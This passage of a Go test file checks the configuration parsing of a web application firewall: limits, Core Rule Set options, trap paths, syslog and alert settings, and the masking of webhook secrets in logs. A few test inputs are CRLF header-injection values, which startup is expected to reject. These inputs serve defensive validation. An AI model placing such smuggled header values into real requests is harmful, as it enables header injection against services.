environment{ipv6GroupPrefix: "48", maxTrackedClients: "500", logLevel: "warn"}, + 48, 500, slog.LevelWarn, + }, + } { + cfg := wafFromEnvironment(t, tc.env) + if cfg.IPv6GroupPrefix != tc.prefix || + cfg.MaxTrackedClients != tc.clients || + cfg.LogLevel != tc.level { + t.Errorf("%v gave %d, %d and %v, want %d, %d and %v", tc.env, + cfg.IPv6GroupPrefix, cfg.MaxTrackedClients, cfg.LogLevel, + tc.prefix, tc.clients, tc.level) + } + } +} + +func TestIPv6GroupPrefixFrom32To128(t *testing.T) { + t.Parallel() + + for _, length := range []int{32, 128} { + cfg := wafFromEnvironment( + t, + environment{ipv6GroupPrefix: strconv.Itoa(length)}, + ) + if cfg.IPv6GroupPrefix != length { + t.Errorf( + "%s=%d gave %d", + ipv6GroupPrefix, + length, + cfg.IPv6GroupPrefix, + ) + } + } +} + +func TestEachLogLevel(t *testing.T) { + t.Parallel() + + for value, want := range map[string]slog.Level{ + "debug": slog.LevelDebug, + "info": slog.LevelInfo, + "warn": slog.LevelWarn, + "error": slog.LevelError, + } { + cfg := wafFromEnvironment(t, environment{logLevel: value}) + if cfg.LogLevel != want { + t.Errorf( + "%s=%s gave %v, want %v", + logLevel, + value, + cfg.LogLevel, + want, + ) + } + } +} + +func TestByteLimitSettingsAsSet(t *testing.T) { + t.Parallel() + + cfg := wafFromEnvironment(t, environment{ + bytesLimitPerMinute: "512M", + bytesLimitPerHour: off, + bytesLimitPerDay: "100000", + bytesCounted: "response", + }) + + wantByteLimitSettings(t, cfg, config.WAF{ + BytesLimitPerMinute: 512 << 20, BytesLimitPerHour: 0, + BytesLimitPerDay: 100000, BytesCounted: "response", + }) +} + +func TestRateLimitExemptPathsAsSet(t *testing.T) { + t.Parallel() + + cfg := wafFromEnvironment( + t, + environment{rateLimitExemptPaths: "/assets/, /favicon.ico"}, + ) + + if !slices.Equal( + cfg.RateLimitExemptPaths, + []string{"/assets/", "/favicon.ico"}, + ) { + t.Errorf("%s gave %v, want /assets/ and /favicon.ico", + rateLimitExemptPaths, cfg.RateLimitExemptPaths) + } +} + +func TestPathPrefixNotStartingWithSlashStopsTheStart(t *testing.T) { + t.Parallel() + + _, err := config.WAFFromEnvironment( + environment{rateLimitExemptPaths: "/favicon.ico,assets/"}.viper()) + + want := rateLimitExemptPaths + `: "assets/" is not a path prefix ` + + `starting with /, such as /assets/` + if err == nil || err.Error() != want { + t.Errorf("error %v, want %s", err, want) + } +} + +func TestTrapPathsAndRefusalsLimitPerMinute(t *testing.T) { + t.Parallel() + + for _, tc := range []struct { + env environment + paths []string + limit int64 + }{ + {environment{}, []string{}, 30}, + { + environment{trapPaths: "/wp-login.php, /xmlrpc.php", refusalsLimitPerMinute: "5"}, + []string{"/wp-login.php", "/xmlrpc.php"}, 5, + }, + {environment{refusalsLimitPerMinute: off}, []string{}, 0}, + } { + cfg := wafFromEnvironment(t, tc.env) + if !slices.Equal(cfg.TrapPaths, tc.paths) || + cfg.RefusalsLimitPerMinute != tc.limit { + t.Errorf( + "%v gave %v and %d, want %v and %d", + tc.env, + cfg.TrapPaths, + cfg.RefusalsLimitPerMinute, + tc.paths, + tc.limit, + ) + } + } +} + +func TestInvalidTrapPathOrRefusalsLimitPerMinuteStopsTheStart(t *testing.T) { + t.Parallel() + + const notTrapPath = " is not a path starting with / and without a ?, " + + "such as /wp-login.php" + + for _, tc := range []struct{ name, value, want string }{ + {trapPaths, "/wp-login.php,xmlrpc.php", `"xmlrpc.php"` + notTrapPath}, + {trapPaths, "/xmlrpc.php?rsd", `"/xmlrpc.php?rsd"` + notTrapPath}, + { + trapPaths, "/wp-login.php,,/xmlrpc.php", + `"/wp-login.php,,/xmlrpc.php" has an empty item in its list`, + }, + {refusalsLimitPerMinute, "0", `"0" must be more than zero, or off`}, + { + refusalsLimitPerMinute, "30/min", + `"30/min" is not a whole number of requests such as 1000, or off`, + }, + } { + t.Run(tc.name+"="+tc.value, func(t *testing.T) { + t.Parallel() + + _, err := config.WAFFromEnvironment( + environment{tc.name: tc.value}.viper(), + ) + + want := tc.name + ": " + tc.want + if err == nil || err.Error() != want { + t.Errorf("error %v, want %s", err, want) + } + }) + } +} + +func TestCoreRuleSetSettings(t *testing.T) { + t.Parallel() + + for _, tc := range []struct { + env environment + want config.WAF + }{ + { + environment{}, + config.WAF{ + CoreRuleSetMode: config.CoreRuleSetModeBlock, + CoreRuleSetParanoiaLevel: 1, + CoreRuleSetScoreThreshold: 5, + CoreRuleSetDisabledRules: []int{ + 920340, 920420, 920440, 920640, 930130, 930140, + }, + CoreRuleSetExemptPaths: []string{}, + }, + }, + { + environment{ + coreRuleSetMode: config.CoreRuleSetModeDetect, + coreRuleSetParanoiaLevel: "4", + coreRuleSetScoreThreshold: "10", + coreRuleSetDisabledRules: "942100, 920350", + coreRuleSetExemptPaths: "/api/, /static/", + coreRuleSetBodyInspectionSize: "4K", + exclusionsFile: "/etc/sww/crs-exclusions.conf", + }, + config.WAF{ + CoreRuleSetMode: config.CoreRuleSetModeDetect, + CoreRuleSetParanoiaLevel: 4, + CoreRuleSetScoreThreshold: 10, + CoreRuleSetDisabledRules: []int{942100, 920350}, + CoreRuleSetExemptPaths: []string{"/api/", "/static/"}, + CoreRuleSetBodyInspectionSize: 4 << 10, + CoreRuleSetExclusionsFile: "/etc/sww/crs-exclusions.conf", + }, + }, + { + environment{ + coreRuleSetMode: off, coreRuleSetScoreThreshold: off, coreRuleSetDisabledRules: "", + coreRuleSetBodyInspectionSize: off, + }, + config.WAF{ + CoreRuleSetMode: config.CoreRuleSetModeOff, + CoreRuleSetParanoiaLevel: 1, + CoreRuleSetScoreThreshold: 0, + CoreRuleSetDisabledRules: []int{}, + CoreRuleSetExemptPaths: []string{}, + }, + }, + } { + cfg := wafFromEnvironment(t, tc.env) + + got := config.WAF{ + CoreRuleSetMode: cfg.CoreRuleSetMode, + CoreRuleSetParanoiaLevel: cfg.CoreRuleSetParanoiaLevel, + CoreRuleSetScoreThreshold: cfg.CoreRuleSetScoreThreshold, + CoreRuleSetDisabledRules: cfg.CoreRuleSetDisabledRules, + CoreRuleSetExemptPaths: cfg.CoreRuleSetExemptPaths, + CoreRuleSetBodyInspectionSize: cfg.CoreRuleSetBodyInspectionSize, + CoreRuleSetExclusionsFile: cfg.CoreRuleSetExclusionsFile, + } + if !reflect.DeepEqual(got, tc.want) { + t.Errorf("%v gave\n%+v\nwant\n%+v", tc.env, got, tc.want) + } + } +} + +// gitea is gitea's name in SWW_WAF_APPS. +const gitea = "gitea" + +func TestApps(t *testing.T) { + t.Parallel() + + for _, tc := range []struct { + env environment + want map[string][]string + }{ + {environment{}, nil}, + {environment{apps: ""}, map[string][]string{}}, + { + environment{apps: "Git.Example.com:gitea; cloud.example.com : gitea "}, + map[string][]string{ + "git.example.com": {gitea}, "cloud.example.com": {gitea}, + }, + }, + { + environment{apps: "cloud.example.com:gitea,wordpress"}, + map[string][]string{"cloud.example.com": {gitea, "wordpress"}}, + }, + } { + cfg := wafFromEnvironment(t, tc.env) + if !reflect.DeepEqual(cfg.Apps, tc.want) { + t.Errorf("%v gave %#v, want %#v", tc.env, cfg.Apps, tc.want) + } + } +} + +// Unset and set empty, SWW_WAF_APPS has opposite effects, so it logs differently. +func TestUnsetAndEmptyAppsAreLoggedDifferently(t *testing.T) { + t.Parallel() + + for _, tc := range []struct { + env environment + want string + }{ + {environment{}, `"` + apps + `":null`}, + {environment{apps: ""}, `"` + apps + `":""`}, + } { + var out bytes.Buffer + + slog.New(slog.NewJSONHandler(&out, nil)). + Info("starting", "settings", wafFromEnvironment(t, tc.env)) + + if !strings.Contains(out.String(), tc.want) { + t.Errorf( + "%v logged %s, want %s in it", + tc.env, + out.String(), + tc.want, + ) + } + } +} + +func TestInvalidAppsStopsTheStart(t *testing.T) { + t.Parallel() + + const ( + notEntry = " is not a hostname, : and a list of apps, " + + "such as git.example.com:gitea" + notHostname = " is not a DNS name such as git.example.com" + ) + + for _, tc := range []struct{ value, want string }{ + {"git.example.com:gitea;blog.example.com", `"blog.example.com"` + notEntry}, + {"git.example.com:gitea;", `""` + notEntry}, + {":gitea", `":gitea"` + notEntry}, + {"git.example.com:", `"git.example.com:"` + notEntry}, + {"*.example.com:gitea", `"*.example.com"` + notHostname}, + {"git.example.com/:gitea", `"git.example.com/"` + notHostname}, + {"git example.com:gitea", `"git example.com"` + notHostname}, + { + "git.example.com:gitea,jellyfin", + `"jellyfin" is not an app sww has fixes for; ` + + `the apps are drupal, forgejo, ghost, gitea, mastodon, mediawiki, ` + + `nextcloud, vaultwarden, wordpress`, + }, + { + "git.example.com:gitea;GIT.example.com:gitea", + `"git.example.com" is listed twice`, + }, + {"git.example.com:gitea,gitea", `"gitea" is listed twice`}, + {"git.example.com:gitea,", `"gitea," has an empty item in its list`}, + } { + t.Run(tc.value, func(t *testing.T) { + t.Parallel() + + _, err := config.WAFFromEnvironment( + environment{apps: tc.value}.viper(), + ) + + want := apps + ": " + tc.want + if err == nil || err.Error() != want { + t.Errorf("error %v, want %s", err, want) + } + }) + } +} + +func TestCoreRuleSetBodyInspectionSizeOf8K(t *testing.T) { + t.Parallel() + + cfg := wafFromEnvironment( + t, + environment{coreRuleSetBodyInspectionSize: "8K"}, + ) + if cfg.CoreRuleSetBodyInspectionSize != 8<<10 { + t.Errorf("8K read as %d", cfg.CoreRuleSetBodyInspectionSize) + } +} + +func TestInvalidCoreRuleSetSettingStopsTheStart(t *testing.T) { + t.Parallel() + + const ( + notParanoiaLevel = " is not a paranoia level, from 1 to 4" + setupRule = " is from 900000 to 900999, the ids of the rules that set " + + "the Core Rule Set up and of sww's own, which cannot be switched off" + ) + + for _, tc := range []struct{ name, value, want string }{ + {coreRuleSetMode, "enforce", `"enforce" is not off, detect or block`}, + {coreRuleSetParanoiaLevel, "0", `"0"` + notParanoiaLevel}, + {coreRuleSetParanoiaLevel, "5", `"5"` + notParanoiaLevel}, + {coreRuleSetParanoiaLevel, off, `"off"` + notParanoiaLevel}, + { + coreRuleSetScoreThreshold, "0", + `"0" is not a whole number above zero, such as 60, or off`, + }, + { + coreRuleSetDisabledRules, "920340,REQUEST-920", + `"REQUEST-920" is not the id of a Core Rule Set rule, ` + + `a whole number such as 942100`, + }, + { + coreRuleSetDisabledRules, "-942100", + `"-942100" is not the id of a Core Rule Set rule, ` + + `a whole number such as 942100`, + }, + // The paranoia level, the allowed methods, the headers refused, a + // request with more query parameters than Coraza keeps, and a body + // Coraza cannot parse or that fails its strict checks. + {coreRuleSetDisabledRules, "942100,900000", `"900000"` + setupRule}, + {coreRuleSetDisabledRules, "942100,900200", `"900200"` + setupRule}, + {coreRuleSetDisabledRules, "942100,900250", `"900250"` + setupRule}, + {coreRuleSetDisabledRules, "942100,900300", `"900300"` + setupRule}, + {coreRuleSetDisabledRules, "942100,900440", `"900440"` + setupRule}, + {coreRuleSetDisabledRules, "942100,900450", `"900450"` + setupRule}, + { + coreRuleSetExemptPaths, "api/", + `"api/" is not a path prefix starting with /, such as /assets/`, + }, + { + coreRuleSetBodyInspectionSize, "128KB", + `"128KB" is not a size such as 512K, 100M or 5G, or off`, + }, + { + coreRuleSetBodyInspectionSize, "9K", + `"9K" is more than 8K, the most the Core Rule Set can read in time`, + }, + { + coreRuleSetBodyInspectionSize, "8193", + `"8193" is more than 8K, the most the Core Rule Set can read in time`, + }, + } { + t.Run(tc.name+"="+tc.value, func(t *testing.T) { + t.Parallel() + + _, err := config.WAFFromEnvironment( + environment{tc.name: tc.value}.viper(), + ) + + want := tc.name + ": " + tc.want + if err == nil || err.Error() != want { + t.Errorf("error %v, want %s", err, want) + } + }) + } +} + +func TestInstanceNameAndLoggedHeadersAsSet(t *testing.T) { + t.Parallel() + + cfg := wafFromEnvironment(t, environment{ + instanceName: "host1/blog", + logRequestHeaders: " Accept , X-Custom", + }) + + if cfg.InstanceName != "host1/blog" || + !slices.Equal( + cfg.LogRequestHeaders, + []string{"accept", "x-custom"}, + ) { + t.Errorf("%s is %q and %s gives %v", instanceName, cfg.InstanceName, + logRequestHeaders, cfg.LogRequestHeaders) + } +} + +func TestRemoteLogSettingsDefaults(t *testing.T) { + t.Parallel() + + cfg := wafFromEnvironment(t, environment{instanceName: instance}) + + if cfg.LogRemoteURL != nil || cfg.LogRemoteTLSCAs != nil || + cfg.LogRemoteBufferLines != 10000 || cfg.LogRemoteFacility != 16 || + cfg.LogRemoteAppName != instance { + t.Errorf( + "remote log settings %v, %v, %d, %d and %q, want no URL, no "+ + "certificates, 10000, 16 and %s's %s", + cfg.LogRemoteURL, + cfg.LogRemoteTLSCAs, + cfg.LogRemoteBufferLines, + cfg.LogRemoteFacility, + cfg.LogRemoteAppName, + instanceName, + instance, + ) + } +} + +func TestRemoteLogSettingsAsSet(t *testing.T) { + t.Parallel() + + caFile := filepath.Join(t.TempDir(), "ca.pem") + + err := os.WriteFile(caFile, []byte(testCA), 0o600) + if err != nil { + t.Fatalf("write %s: %v", caFile, err) + } + + cfg := wafFromEnvironment(t, environment{ + logRemoteURL: "syslog+tls://logs.example:6514", + logRemoteTLSCAFile: caFile, + logRemoteBufferLines: "500", + logRemoteFacility: "daemon", + logRemoteAppName: instance, + }) + + roots := x509.NewCertPool() + roots.AppendCertsFromPEM([]byte(testCA)) + + if cfg.LogRemoteURL.String() != "syslog+tls://logs.example:6514" || + !roots.Equal( + cfg.LogRemoteTLSCAs, + ) || cfg.LogRemoteBufferLines != 500 || + cfg.LogRemoteFacility != 3 || cfg.LogRemoteAppName != instance { + t.Errorf( + "remote log settings %v, %v, %d, %d and %q", + cfg.LogRemoteURL, + cfg.LogRemoteTLSCAs, + cfg.LogRemoteBufferLines, + cfg.LogRemoteFacility, + cfg.LogRemoteAppName, + ) + } +} + +func TestRemoteLogURLForms(t *testing.T) { + t.Parallel() + + for _, value := range []string{ + "syslog+udp://192.0.2.1:514", + "syslog+tcp://[2001:db8::1]:514", + "syslog+tls://logs.example:6514/", + } { + cfg := wafFromEnvironment(t, environment{logRemoteURL: value}) + if cfg.LogRemoteURL.String() != value { + t.Errorf("%s read as %v", value, cfg.LogRemoteURL) + } + } + + cfg := wafFromEnvironment(t, environment{logRemoteURL: ""}) + if cfg.LogRemoteURL != nil { + t.Errorf( + "set but empty, %s read as %v", + logRemoteURL, + cfg.LogRemoteURL, + ) + } +} + +func TestRemoteLogFacilitiesByNumber(t *testing.T) { + t.Parallel() + + for name, number := range map[string]int{ + "kern": 0, "user": 1, "auth": 4, "authpriv": 10, "ftp": 11, + "local0": 16, "local5": 21, "local7": 23, + } { + cfg := wafFromEnvironment(t, environment{logRemoteFacility: name}) + if cfg.LogRemoteFacility != number { + t.Errorf( + "%s read as %d, want %d", + name, + cfg.LogRemoteFacility, + number, + ) + } + } +} + +func TestInvalidRemoteLogSettingStopsTheStart(t *testing.T) { + t.Parallel() + + for _, tc := range []struct{ name, value string }{ + {logRemoteURL, "logs.example:514"}, + {logRemoteURL, "syslog://logs.example:514"}, + {logRemoteURL, "http://logs.example:514"}, + {logRemoteURL, "syslog+udp://logs.example"}, + {logRemoteURL, "syslog+tcp://:514"}, + {logRemoteURL, "syslog+tcp://logs.example:0"}, + {logRemoteURL, "syslog+tls://logs.example:65536"}, + {logRemoteURL, "syslog+tls://user@logs.example:6514"}, + {logRemoteURL, "syslog+tcp://logs.example:514/app"}, + {logRemoteURL, "syslog+tcp://logs.example:514?tls=1"}, + {logRemoteTLSCAFile, "/nonexistent/ca.pem"}, + {logRemoteBufferLines, off}, {logRemoteBufferLines, "0"}, + {logRemoteBufferLines, "10K"}, + {logRemoteFacility, "local8"}, {logRemoteFacility, "LOCAL0"}, + {logRemoteFacility, "16"}, {logRemoteFacility, ""}, + {logRemoteAppName, ""}, {logRemoteAppName, "my app"}, + {logRemoteAppName, "gitéa"}, {logRemoteAppName, strings.Repeat("a", 49)}, + } { + _, err := config.WAFFromEnvironment( + environment{tc.name: tc.value}.viper(), + ) + if err == nil || !strings.HasPrefix(err.Error(), tc.name+": ") { + t.Errorf( + "%s=%q: error %v, want one naming it", + tc.name, + tc.value, + err, + ) + } + } +} + +func TestRemoteLogCAFileWithoutCertificateStopsTheStart(t *testing.T) { + t.Parallel() + + caFile := filepath.Join(t.TempDir(), "ca.pem") + + err := os.WriteFile(caFile, []byte("not a certificate\n"), 0o600) + if err != nil { + t.Fatalf("write %s: %v", caFile, err) + } + + _, err = config.WAFFromEnvironment( + environment{logRemoteTLSCAFile: caFile}.viper(), + ) + + want := logRemoteTLSCAFile + `: "` + caFile + `" holds no PEM certificate` + if err == nil || err.Error() != want { + t.Errorf("error %v, want %s", err, want) + } +} + +func TestInstanceNameNotAnAppNameStopsTheStartOnlyWhileSending( + t *testing.T, +) { + t.Parallel() + + const spaced = "host1 blog" + + sending := environment{logRemoteURL: remoteURL, instanceName: spaced} + + _, err := config.WAFFromEnvironment(sending.viper()) + + want := logRemoteAppName + `: is unset, and ` + instanceName + + ` "host1 blog", its default, is not 1 to 48 printable ASCII characters ` + + `without a space, such as blog` + if err == nil || err.Error() != want { + t.Errorf("error %v, want %s", err, want) + } + + cfg := wafFromEnvironment(t, environment{instanceName: spaced}) + if cfg.LogRemoteAppName != spaced { + t.Errorf( + "not sending, %s is %q", + logRemoteAppName, + cfg.LogRemoteAppName, + ) + } + + sending[logRemoteAppName] = instance + + cfg = wafFromEnvironment(t, sending) + if cfg.LogRemoteAppName != instance { + t.Errorf("set to %s, %s is %q", instance, logRemoteAppName, + cfg.LogRemoteAppName) + } +} + +func TestAppNameSetStopsTheStartWhileSending(t *testing.T) { + t.Parallel() + + _, err := config.WAFFromEnvironment(environment{ + logRemoteURL: remoteURL, + instanceName: instance, + logRemoteAppName: "my app", + }.viper()) + + want := logRemoteAppName + `: "my app" is not 1 to 48 printable ASCII ` + + `characters without a space, such as blog` + if err == nil || err.Error() != want { + t.Errorf("error %v, want %s", err, want) + } +} + +func TestAlertSettingsDefaults(t *testing.T) { + t.Parallel() + + cfg := wafFromEnvironment(t, environment{}) + + if cfg.AlertWebhookURL != nil || len(cfg.AlertWebhookHeaders) != 0 || + cfg.AlertSlackWebhookURL != nil || cfg.AlertNtfyURL != nil || + cfg.AlertNtfyToken != "" || + strings.Join(cfg.AlertEvents, ",") != defaultAlertEvents || + cfg.AlertCooldown != 15*time.Minute || cfg.AlertMaxPerHour != 60 { + t.Errorf( + "alert settings %v, %v, %v, %v, %q, %v, %s and %d, want no URLs, "+ + "no headers, no token, %s, 15m and 60", + cfg.AlertWebhookURL, + cfg.AlertWebhookHeaders, + cfg.AlertSlackWebhookURL, + cfg.AlertNtfyURL, + cfg.AlertNtfyToken, + cfg.AlertEvents, + cfg.AlertCooldown, + cfg.AlertMaxPerHour, + defaultAlertEvents, + ) + } +} + +func TestAlertSettingsAsSet(t *testing.T) { + t.Parallel() + + const ( + webhook = "https://alerts.example:8443/hooks/waf?team=ops" + slack = "https://hooks.slack.example/services/T0123/B4567/abcdef" + ntfy = "https://ntfy.example/sww-alerts" + token = "tk_0123456789abcdefghijklmnopq" + ) + + cfg := wafFromEnvironment(t, environment{ + alertWebhookURL: webhook, + alertWebhookHeaders: "Authorization: Bearer abc:def , x-team:ops", + alertSlackWebhookURL: slack, + alertNtfyURL: ntfy, + alertNtfyToken: token, + alertEvents: "ban, file_error", + alertCooldown: "1h", + alertMaxPerHour: "10", + }) + + headers := http.Header{ + "Authorization": {"Bearer abc:def"}, + "X-Team": {"ops"}, + } + if cfg.AlertWebhookURL.String() != webhook || + !reflect.DeepEqual(cfg.AlertWebhookHeaders, headers) || + cfg.AlertSlackWebhookURL.String() != slack || cfg.AlertNtfyURL.String() != ntfy || + cfg.AlertNtfyToken != token || + !slices.Equal(cfg.AlertEvents, []string{"ban", "file_error"}) || + cfg.AlertCooldown != time.Hour || cfg.AlertMaxPerHour != 10 { + t.Errorf( + "alert settings %v, %v, %v, %v, %q, %v, %s and %d", + cfg.AlertWebhookURL, + cfg.AlertWebhookHeaders, + cfg.AlertSlackWebhookURL, + cfg.AlertNtfyURL, + cfg.AlertNtfyToken, + cfg.AlertEvents, + cfg.AlertCooldown, + cfg.AlertMaxPerHour, + ) + } +} + +func TestAlertSettingsSetEmptyOrOff(t *testing.T) { + t.Parallel() + + cfg := wafFromEnvironment(t, environment{ + alertWebhookURL: "", alertSlackWebhookURL: "", alertNtfyURL: "", + alertNtfyToken: "", alertEvents: "", alertCooldown: off, alertMaxPerHour: off, + }) + if cfg.AlertWebhookURL != nil || cfg.AlertSlackWebhookURL != nil || + cfg.AlertNtfyURL != nil || cfg.AlertNtfyToken != "" || + len( + cfg.AlertEvents, + ) != 0 || cfg.AlertCooldown != 0 || cfg.AlertMaxPerHour != 0 { + t.Errorf( + "set empty or off, alert settings %v, %v, %v, %q, %v, %s and %d", + cfg.AlertWebhookURL, + cfg.AlertSlackWebhookURL, + cfg.AlertNtfyURL, + cfg.AlertNtfyToken, + cfg.AlertEvents, + cfg.AlertCooldown, + cfg.AlertMaxPerHour, + ) + } +} + +func TestInvalidAlertSettingStopsTheStart(t *testing.T) { + t.Parallel() + + wantStartStopped(t, []struct{ name, value string }{ + {alertWebhookURL, "alerts.example/sww"}, + {alertWebhookURL, "ftp://alerts.example/"}, + {alertWebhookURL, "https:///sww"}, + {alertWebhookURL, "https://user:password@alerts.example/"}, + {alertWebhookURL, "https://alerts.example/#top"}, + {alertWebhookURL, "https://alerts.example:0/"}, + {alertWebhookURL, "https://alerts.example:65536/"}, + {alertSlackWebhookURL, "hooks.slack.example/services/T0123"}, + {alertSlackWebhookURL, "https://user:password@hooks.slack.example/"}, + {alertNtfyURL, "ntfy://ntfy.example/sww-alerts"}, + {alertNtfyURL, "https://ntfy.example/sww-alerts#top"}, + {alertWebhookHeaders, "Authorization"}, + {alertWebhookHeaders, "X Team:ops"}, + {alertWebhookHeaders, ":ops"}, + {alertWebhookHeaders, "X-Team:ops,"}, + {alertWebhookHeaders, "X-Team:o\r\nps"}, + {alertEvents, "bans"}, + {alertEvents, "summary"}, + {alertEvents, "ban,,file_error"}, + {alertCooldown, "0"}, + {alertCooldown, "soon"}, + {alertMaxPerHour, "0"}, + {alertMaxPerHour, "-1"}, + {alertMaxPerHour, "1.5"}, + }) +} + +func TestWebhookHeadersAreLoggedMaskedAndNeverShown(t *testing.T) { + t.Parallel() + + const secret = "Bearer 0123456789abcdef" + + cfg := wafFromEnvironment(t, environment{ + alertWebhookHeaders: "Authorization:" + secret + ",X-Team:ops", + }) + + var out bytes.Buffer + + slog.New(slog.NewJSONHandler(&out, nil)). + Info("starting", "settings", cfg) + + logged := out.String() + if strings.Contains(logged, secret) || strings.Contains(logged, "ops") || + !strings.Contains( + logged, + `"`+alertWebhookHeaders+`":"Authorization:********,X-Team:********"`, + ) { + t.Errorf("the headers are not logged masked: %s", logged) + } + + // An item that is not a header is named by its place, not shown. + _, err := config.WAFFromEnvironment(environment{ + alertWebhookHeaders: "X-Team:ops," + secret, + }.viper()) + + want := alertWebhookHeaders + ": item 2 is not a header name followed by : " + + "and the header's value, such as Authorization:Bearer " + if err == nil || err.Error() != want { + t.Errorf("error %v, want %s", err, want) + } +} + +func TestWebhookURLIsLoggedWithoutItsPathOrQueryAndNeverShown(t *testing.T) { + t.Parallel() + + const secret = "T0123/B4567/abcdef" + + for value, want := range map[string]string{ + "https://hooks.example/services/" + secret: "https://hooks.example/********", + "https://hooks.example:8443?token=" + secret: "https://hooks.example:8443/********", + "http://[2001:db8::1]:8080": "http://[2001:db8::1]:8080", + } { + cfg := wafFromEnvironment(t, environment{alertWebhookURL: value}) + + var out bytes.Buffer + + slog.New(slog.NewJSONHandler(&out, nil)). + Info("starting", "settings", cfg) + + logged := out.String() + if strings.Contains(logged, secret) || + !strings.Contains(logged, `"`+alertWebhookURL+`":"`+want+`"`) { + t.Errorf("%s is not logged as %s: %s", value, want, logged) + } + } + + // A value that is not such a URL is not shown either. + for _, value := range []string{ + "ftp://hooks.example/services/" + secret, + "https://hooks.example/services/%zz" + secret, + } { + _, err := config.WAFFromEnvironment( + environment{alertWebhookURL: value}.viper(), + ) + + want := alertWebhookURL + ": is not an http or https URL without a user or " + + "a fragment, such as https://alerts.example/sww" + if err == nil || err.Error() != want { + t.Errorf("error %v, want %s", err, want) + } + } +} + +func TestSlackAndNtfySettingsAreLoggedWithoutTheirSecrets(t *testing.T) { + t.Parallel() + + const token = "tk_0123456789abcdefghijklmnopq" + + cfg := wafFromEnvironment(t, environment{ + alertSlackWebhookURL: "https://hooks.slack.example/services/T0123/B4567/abcdef", + alertNtfyURL: "https://ntfy.example/sww-alerts", + alertNtfyToken: token, + }) + + var out bytes.Buffer + + slog.New(slog.NewJSONHandler(&out, nil)). + Info("starting", "settings", cfg) + + logged := out.String() + for _, want := range []string{ + `"` + alertSlackWebhookURL + `":"https://hooks.slack.example/********"`, + `"` + alertNtfyURL + `":"https://ntfy.example/********"`, + `"` + alertNtfyToken + `":"********"`, + } { + if !strings.Contains(logged, want) { + t.Errorf("no %s in the settings logged: %s", want, logged) + } + } + + for _, secret := range []string{"T0123", "sww-alerts", token} { + if strings.Contains(logged, secret) { + t.Errorf("%s in the settings logged: %s", secret, logged) + } + } +} + +func TestNtfyTokenWithAControlCharacterStopsTheStartWithoutShowingIt( + t *testing.T, +) { + t.Parallel() + + // A file saved with Windows line ends keeps the carriage return. + for name, env := range map[string]environment{ + "set": {alertNtfyToken: token + "\r"}, + "in a file": {alertNtfyToken + "_FILE": writeFile(t, token+"\r\n")}, + } { + _, err := config.WAFFromEnvironment(env.viper()) + + want := alertNtfyToken + ": holds a control character, such as the " + + "carriage return of a Windows line end" + if err == nil || err.Error() != want { + t.Errorf("%s: error %v, want %s", name, err, want) + } + } +} + +func TestInstanceNameWithAControlCharacterStopsTheStartOnlyWithNtfySet( + t *testing.T, +) { + t.Parallel() + + const name = "host1\r" + + _, err := config.WAFFromEnvironment(environment{ + instanceName: name, alertNtfyURL: "https://ntfy.example/sww-alerts", + }.viper()) + + want := instanceName + `: "host1\r" holds a control character, such as the ` + + `carriage return of a Windows line end, and is sent to ntfy in a header ` + + `while ` + alertNtfyURL + ` is set` + if err == nil || err.Error() != want { + t.Errorf("error %v, want %s", err, want) + } + + cfg := wafFromEnvironment(t, environment{instanceName: name}) + if cfg.InstanceName != name { + t.Errorf( + "not sending to ntfy, %s is %q", + instanceName, + cfg.InstanceName, + ) + } +} + +func TestInstanceNameNotUTF8StopsTheStart(t *testing.T) { + t.Parallel() + + // café saved in Latin-1. + const latin1 = "caf\xe9" + + for name, env := range map[string]environment{ + "set": {instanceName: latin1}, + "in a file": {instanceName + "_FILE": writeFile(t, latin1+"\n")}, + } { + _, err := config.WAFFromEnvironment(env.viper()) + + want := instanceName + `: "caf\xe9" is not valid UTF-8` + if err == nil || err.Error() != want { + t.Errorf("%s: error %v, want %s", name, err, want) + } + } +} + +func TestCodeInAllowedCountriesAndTagDenyStopsTheStart(t *testing.T) { + t.Parallel() + + _, err := config.WAFFromEnvironment(environment{ + tagDeny: "country=cn,country=ru", + allowedCountries: "de,RU", + }.viper()) + if err == nil { + t.Fatal( + "ru in SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES and SWW_WAF_TAG_DENY was accepted", + ) + } + + if !strings.HasPrefix(err.Error(), allowedCountries+": ") || + !strings.Contains(err.Error(), `"RU"`) { + t.Errorf("error %q does not name %s and RU", err, allowedCountries) + } +} + +func TestLookupSettingsAsSet(t *testing.T) { + t.Parallel() + + cfg := wafFromEnvironment(t, environment{ + asnAndCountryLookupTimeout: "500", addLookupHeaders: disabled, + }) + wantLookupSettings(t, cfg, config.WAF{ + LookupSource: defaultLookupSource, ASNAndCountryLookupTimeout: 500 * time.Millisecond, + }) + + // With no client looked up, the headers are off unless set. + cfg = wafFromEnvironment(t, environment{lookupSource: off}) + wantLookupSettings(t, cfg, config.WAF{ + LookupSource: off, ASNAndCountryLookupTimeout: 800 * time.Millisecond, + }) +} + +func TestLookupDBPathGoesWithTheFileSourceAlone(t *testing.T) { + t.Parallel() + + const path = "/var/lib/ipinfo/ipinfo_lite.mmdb" + + cfg := wafFromEnvironment( + t, + environment{lookupSource: fileSource, lookupDBPath: path}, + ) + if cfg.LookupSource != fileSource || cfg.LookupDBPath != path { + t.Errorf("lookups from %q in %q, want file in %q", + cfg.LookupSource, cfg.LookupDBPath, path) + } + + if !cfg.AddLookupHeaders { + t.Error("headers off by default with lookups from file, want on") + } + + for _, tc := range []struct { + env environment + want string + }{ + { + environment{lookupSource: fileSource}, + lookupSource + ": is file while " + lookupDBPath + + " is unset; it names the file to look clients up in", + }, + { + environment{lookupSource: fileSource, lookupDBPath: ""}, + lookupSource + ": is file while " + lookupDBPath + + " is unset; it names the file to look clients up in", + }, + { + environment{lookupDBPath: path}, + lookupDBPath + ": is set while " + lookupSource + " is geojs; only file reads it", + }, + { + environment{lookupSource: off, lookupDBPath: path}, + lookupDBPath + ": is set while " + lookupSource + " is off; only file reads it", + }, + } { + _, err := config.WAFFromEnvironment(tc.env.viper()) + if err == nil || err.Error() != tc.want { + t.Errorf("settings %v: error %v, want %s", tc.env, err, tc.want) + } + } +} + +func TestSettingNeedingLookupsStopsTheStartWhileTheyAreOff(t *testing.T) { + t.Parallel() + + for name, value := range map[string]string{ + allowedCountries: "de", + addLookupHeaders: enabled, + tagDeny: "country=KP", + tagLimitPercent: "asn=64496:50", + asnLimitPercentURL: asnURL, + asnBytesLimitPercent: "AS64496:50", + countryBytesLimitPercent: "cn:25", + unknownCountryLimitPercent: "99", + anomalyASN + requestsPerMinute: "1000", + anomalyASN + requestsPerHour: "10000", + anomalyASN + bytesPerMinute: "1G", + anomalyASN + bytesPerHour: "10G", + } { + 